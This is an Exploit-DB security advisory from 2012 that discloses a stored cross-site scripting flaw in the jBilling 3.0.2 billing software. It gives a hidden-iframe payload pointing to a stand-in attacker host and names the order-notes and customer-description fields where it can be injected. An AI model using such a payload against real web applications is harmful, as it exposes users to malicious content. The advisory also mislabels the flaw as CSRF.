jBilling 3.0.2 - Cross-Site Scripting Vulnerability

EDB-ID: 22906 CVE: N/A OSVDB-ID: 87865
Verified: Author: Woody Hughes Published: 2012-11-25
Download Exploit: Source Raw Download Vulnerable App: N/A
# Exploit Title: jBilling 3.0.2 Cross Site Scripting Vulnerability
# Date: 11/23/2012
# Exploit Author: Woody Hughes <whughes@ingresssecurity.com>
# Vendor Homepage: http://www.jbilling.com
# Software Link: http://sourceforge.net/projects/jbilling/files/latest/download
# Version: 3.0.2
# Tested on: Ubuntu Linux

INGRES-11232012-jBilling 3.0.2 Cross Site Scripting Vulnerability
November 23, 2012

Ingress Security has found a cross site scripting vulnerability in the form of a cross site request forgery in the jBilling billing software.

jBilling's mission is to provide a robust, secure, open source alternative for enterprise billing. With our world-class service team, we help companies all over the world deploy and maintain billing solutions to meet their business needs.

jBilling 3.0.2





Cross Site Request Forgery (CSRF)
jBilling does not properly check user input, thus allowing the <iframe> tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following <iframe> tag would send them to a malicious website hosting malicious content:

<iframe src=”http://attacker_host:4321/attack.html” height=”1” width=”1” style=”visibility: hidden;” />

The URLs that are affected are:


	Create a new order and in the notes section, input your malicious code.


	 Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact info@ingresssecurity.com to get permission.